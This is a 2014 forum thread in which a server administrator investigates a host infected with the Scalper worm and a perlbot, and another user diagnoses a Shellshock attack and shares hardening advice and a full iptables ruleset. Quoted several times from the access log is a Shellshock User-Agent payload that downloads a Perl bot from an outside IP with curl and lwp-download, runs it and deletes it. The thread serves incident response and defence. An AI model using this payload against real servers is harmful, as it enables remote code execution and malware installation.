[SOLVED] Scalper worm discovered

Habitual · 10-09-2014, 03:49 PM

Well, I am ashamed to say this, but one of my key hosts had the Scalper worm on it.

What led to the discovery is someone reported an 'attack' from my monitoring system (zabbix) for hosts that no longer exist in zabbix (as of day before yesterday).

So I ran a

Code:

tcpdump -nn -i eth0 -c 5000 -w sample.pcap

and watched the bytes fly by. Then I played it back and started looking around.

I noticed a Chinese IP and some traffic to or from remained even after I banned the whole of 211.0.0.8/8 (DROP rule)

so I ran

Code:

lsof -i :35382

and noticed /tmp/Acske being run as logstash, so I look in /tmp and found these files

At this time I considered the host compromised and ran

Code:

rkhunter -c -sk

on the host and it found the Scalper Worm in /tmp/.a (not in the pastie above). I then started collecting logs (tar'd up all of /var/log/*) and started downloading to my localhost some key config files needed to rebuild.

My Question is this:
How does a Apache Web Server Chunk Handling Vulnerability from 2002 that doesn't affect my httpd version get on the host?

The advisory shows:

Code:

Web servers based on Apache code versions 1.2.2 and above
Web servers based on Apache code versions 1.3 through 1.3.24
Web servers based on Apache code versions 2.0 through 2.0.36

where I was on Apache/2.2.3 and as far as I know have never been anything else?

Code:

[Tue Feb 21 11:16:29 2012] [notice] Apache/2.2.3 (CentOS) configured

is the oldest entry I found (in /var/log/httpd/error.log.1).

Found a perlbot in the logs too.

Code:

/var/log/httpd/access_log:209.59.163.217 - - [09/Oct/2014:10:24:39 -0700] "GET /cgi-bin/fire.cgi HTTP/1.0" 404 214 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf j* ; 
 ; lwp-download http://89.33.193.10/jiw ; curl -O /var/tmp/jiw http://89.33.193.10/jiw ; perl /var/tmp/jiw ; rm -rf *jiw\""

I found no mention of any haha file in the apache logs. So I'm guessing here that the perlbot was used to upload the Scalper Worm files in /tmp
Is that reasonable?

zgrep tmp /var/log/httpd/access_log* output.

and I'm running

Code:

tcpdump -nn -i eth0 -c 50000 -w scalper_check.pcap

on key hosts now, as well as checking in /tmp and running Rootkit Hunter version 1.4.0 on them.

If you can make sense of this, then Good on ya! Because I'm confused by it.
So, a Scalper worm and a perlbot? How to ensure that this doesn't happen again?

Thanks for any feedback (even the "you dumb-@ss" ones)

Have a Great Day, I'll be here all night.

Subscribed with interest

sag47 · 10-09-2014, 09:00 PM

More strict firewall rules *might* have saved you here. I restrict inbound and outbound rules but allow established/related. If you do that then the web traffic would get through. However, a cgi shell script executing curl to download malicious files on your host would not have worked in that case. SELinux with its execution restrictions in how web content is allowed to behave would have probably saved you from this as well (I would use it in addition to the outbound restricted firewall rules).

If you like I can share with you some of my relevant iptables rules which might be of interest to you.

What version of bash is on your system? This line from your log...

Code:

"() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf j* ; 
 ; lwp-download http://89.33.193.10/jiw ; curl -O /var/tmp/jiw http://89.33.193.10/jiw ; perl /var/tmp/jiw ; rm -rf *jiw\"

Is attempting to exploit a recent vulnerability popularly titled shellshock.

To test if your systems are vulnerable to shellshock execute the following...

Code:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Again, even in this scenario outbound firewall rules would have saved you from downloading malicious files from random servers. It's quite possible your server was compromised using this exploit and definitely more likely if you're vulnerable to it.

Habitual · 10-09-2014, 09:16 PM

Quote:

Originally Posted by sag47

More strict firewall rules *might* have saved you here. I restrict inbound and outbound rules but allow established/related. If you do that then the web traffic would get through. However, a cgi shell script executing curl to download malicious files on your host would not have worked in that case. SELinux with its execution restrictions in how web content is allowed to behave would have probably saved you from this as well (I would use it in addition to the outbound restricted firewall rules).

If you like I can share with you some of my relevant iptables rules which might be of interest to you.

Hell yes. PM or otherwise.

Quote:

Originally Posted by sag47

What version of bash is on your system?

Code:

rpm -qa | grep bash
bash-3.2-33.el5_11.4

Quote:

Originally Posted by sag47

This line from your log...

Code:

"() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf j* ; 
 ; lwp-download http://89.33.193.10/jiw ; curl -O /var/tmp/jiw http://89.33.193.10/jiw ; perl /var/tmp/jiw ; rm -rf *jiw\"

Is attempting to exploit a recent vulnerability popularly titled shellshock.

To test if your systems are vulnerable to shellshock execute the following...

Code:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

been running "yum update bash" daily since Sept 24th, 2014

Code:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
this is a test

Quote:

Originally Posted by Habitual

I am not comfortable ignoring this because it shows a 404.

I thought I was "all over it".

Quote:

Originally Posted by sag47

Again, even in this scenario outbound firewall rules would have saved you from downloading malicious files from random servers. It's quite possible your server was compromised using this exploit and definitely more likely if you're vulnerable to it.

Something like this setup?

Thanks for your feedback. It is not wasted on me.

sag47 · 10-09-2014, 10:22 PM

Here's a redacted version of my firewall rules. I'll point out a couple of things. This firewall is designed similarly to how the new RHEL7 firewalld behaves. When evaluating RHEL7 I saw some cool firewall tricks and incorporated it into my firewall (this way you can take advantage of doing things like dynamically adding and removing rules without having to refresh the firewall).

At the top of the firewall script you'll see the different default chains: INPUT Chain, OUTPUT Chain, FORWARD Chain. Notice that the jumping to the LOGGING Chain is disabled on the INPUT Chain but enabled on the OUTPUT Chain. When you first implement the firewall the logging will be a god send because by executing dmesg you'll see logs of blocked outbound connections. This will make it obvious if you've accidentally missed something. You'll also notice that the default chains jump to other chains in this script. When chains are jumped to they will automatically return to the default chains so each chain will be jumped to in order from top to bottom.

Another nifty line I want to point out in the firewall config is:

Code:

-A INTERNAL -s 192.168.10.0/24 -g INTERNAL_allow

It is using -g to jump to a chain instead of -j. Look that up in man iptables.

Notice that there's a section in the OUTBOUND_allow chain for system updates and it is commented out. It's commented out because normally you don't want to allow outbound traffic over ports 21, 443, or 80 because typically that's how malware gets downloaded. However, yum uses those ports to download packages and there's tons of mirrors. The rule is there just for documentation. When you actually want to update the system poke a hole in the firewall with the following commands...

Code:

iptables -A OUTPUT_allow -p tcp -m state --state NEW -m multiport --dport 21,80,443 -j ACCEPT
yum check-update
yum update
iptables -D OUTPUT_allow -p tcp -m state --state NEW -m multiport --dport 21,80,443 -j ACCEPT

The commands first open the firewall (-A), run updates, and then closes the firewall (-D).

This firewall config on my RHEL based system goes in /etc/sysconfig/iptables. I reload the whole config with:

Code:

iptables-restore < /etc/sysconfig/iptables

I also have SELinux enabled on this system (as it is RHEL based it came with SELinux by default). If you search for "selinux" in my LQ blog then you'll find many use cases for how to configure SELinux for different applications as well as examples of me debugging it. Man pages which would most be interesting to you related to securing your server and in particular your web server are:

Code:

man selinux
man httpd_selinux
man iptables

For interpreting different lines of the below firewall config man iptables is a great resource. Hope this helps.

SAM

Code:

#Created by Sam Gleske
*nat
#make it so that XMPP server can be connected to port 81 as well as port 5222 in case 5222 is blocked by other networks
-A PREROUTING -p tcp -m tcp --dport 81 -j REDIRECT --to-ports 5222
COMMIT

*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:OUTPUT_deny - [0:0]
:OUTPUT_allow - [0:0]
:INTERNAL - [0:0]
:INTERNAL_allow - [0:0]
:PUBLIC_deny - [0:0]
:PUBLIC_allow - [0:0]
:LOGGING - [0:0]

#INPUT Chain
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -j PUBLIC_deny
-A INPUT -j INTERNAL
-A INPUT -j PUBLIC_allow
#-A INPUT -j LOGGING
-A INPUT -j REJECT --reject-with icmp-host-prohibited

#OUTPUT Chain
-A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -j OUTPUT_deny
-A OUTPUT -j OUTPUT_allow
-A OUTPUT -j LOGGING
-A OUTPUT -j REJECT --reject-with icmp-host-prohibited

#FORWARD Chain
-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
-A FORWARD -j REJECT --reject-with icmp-host-prohibited

#LOGGING Chain
-A LOGGING -p tcp -m limit --limit 2/min -j LOG --log-prefix "iptables DROP: " --log-level 4


########################################################################
# GLESKE INTERNAL NETWORKS

#Only communication coming through these networks will actually get to INTERNAL_allow Chain
-A INTERNAL -s 192.168.10.0/24 -g INTERNAL_allow
#VPN
-A INTERNAL -s 10.9.8.0/24 -g INTERNAL_allow

#icmp
-A INTERNAL_allow -p icmp -j ACCEPT
#ftp
-A INTERNAL_allow -p tcp -m state --state NEW -m tcp --dport 21 -j ACCEPT
#dns
-A INTERNAL_allow -p tcp -m state --state NEW -m tcp --dport 53 -j ACCEPT
-A INTERNAL_allow -p udp -m state --state NEW -m udp --dport 53 -j ACCEPT
#dhcp
-A INTERNAL_allow -p tcp -m state --state NEW -m multiport --dports 67,68 -j ACCEPT
-A INTERNAL_allow -p udp -m state --state NEW -m multiport --dports 67,68 -j ACCEPT
#netbios
-A INTERNAL_allow -p tcp -m state --state NEW -m tcp --dport 139 -j ACCEPT
#Samba Share
-A INTERNAL_allow -p tcp -m state --state NEW -m tcp --dport 445 -j ACCEPT
#ssh
-A INTERNAL_allow -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
#Herd deployments via bittorrent
-A INTERNAL_allow -p tcp -m state --state NEW -m multiport --dport 10000:11000 -j ACCEPT
#hda web serving
-A INTERNAL_allow -p tcp -m state --state NEW -m multiport --dport 80,443,8000 -j ACCEPT
#VNC Server display :1
-A INTERNAL_allow -p tcp -m state --state NEW -m tcp --dport 5901 -j ACCEPT
#openfire http
-A INTERNAL_allow -p tcp -m state --state NEW -m multiport --dports 9090,9091 -j ACCEPT
#syslog-ng
-A INTERNAL_allow -p tcp -m state --state NEW -m tcp --dport 514 -j ACCEPT
-A INTERNAL_allow -p udp -m state --state NEW -m udp --dport 514 -j ACCEPT
#accept traceroutes
-A INTERNAL_allow -p udp -m state --state NEW -m udp --dport 33434:33523 -j ACCEPT

# END GLESKE INTERNAL NETWORKS
########################################################################


########################################################################
# PUBLIC INTERNET RULES

#DENY CONNECTIONS

#MALWARE
-A PUBLIC_deny -s 212.7.208.65 -j DROP

#ALLOW CONNECTIONS

#openfire xmpp
-A PUBLIC_allow -p tcp -m state --state NEW -m tcp --dport 5222 -j ACCEPT
#VPN Server
-A PUBLIC_allow -p udp -m state --state NEW -m udp --dport 1194 -j ACCEPT
#ssh from everyone in the world
-A PUBLIC_allow -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT

# END PUBLIC INTERNET RULES
########################################################################


########################################################################
# OUTBOUND RULES

#OUTBOUND block

#MALWARE
-A OUTPUT_deny -d 212.7.208.65 -j DROP

#OUTBOUND allow

#allow all internal network outbound communications
-A OUTPUT_allow -d 192.168.10.0/24 -j ACCEPT
-A OUTPUT_allow -d 10.9.8.0/24 -j ACCEPT
-A OUTPUT_allow -d 192.168.100.1 -j ACCEPT

#allow ping only to public servers
-A OUTPUT_allow -p icmp -m state --state NEW -m icmp --icmp-type 8 -j ACCEPT
#Google Public DNS
-A OUTPUT_allow -p udp -d 8.8.8.8 -m state --state NEW -m udp --dport 53 -j ACCEPT
-A OUTPUT_allow -p tcp -d 8.8.8.8 -m state --state NEW -m tcp --dport 53 -j ACCEPT
-A OUTPUT_allow -p udp -d 8.8.4.4 -m state --state NEW -m udp --dport 53 -j ACCEPT
-A OUTPUT_allow -p tcp -d 8.8.4.4 -m state --state NEW -m tcp --dport 53 -j ACCEPT
#smtps outbound
-A OUTPUT_allow -p tcp -m state --state NEW -m tcp --dport 587 -j ACCEPT
# Start icinga outbound rules
#build.gimp.org
-A OUTPUT_allow -p tcp -d 103.246.31.101 -m state --state NEW -m tcp --dport 443 -j ACCEPT
#ifconfig.me website for getting public IP address
-A OUTPUT_allow -p tcp -d 219.94.235.40 -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A OUTPUT_allow -p tcp -d 49.212.149.105 -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A OUTPUT_allow -p tcp -d 49.212.202.172 -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A OUTPUT_allow -p tcp -d 133.242.129.236 -m state --state NEW -m tcp --dport 80 -j ACCEPT

#system updates
#-A OUTPUT_allow -p tcp -m state --state NEW -m multiport --dport 21,80,443 -j ACCEPT

#accept traceroutes
-A OUTPUT_allow -p udp -m state --state NEW -m udp --dport 33434:33523 -j ACCEPT

# END OUTBOUND RULES
########################################################################

COMMIT

Habitual · 10-10-2014, 06:18 PM

That's a lot to swallow, so I am taking small bites.

Thanks for the feedback.

sag47 · 12-31-2023, 11:40 AM

A decade later, I no longer redact or hide my firewall rules. You can see the full version here https://github.com/samrocketman/home...iptables.rules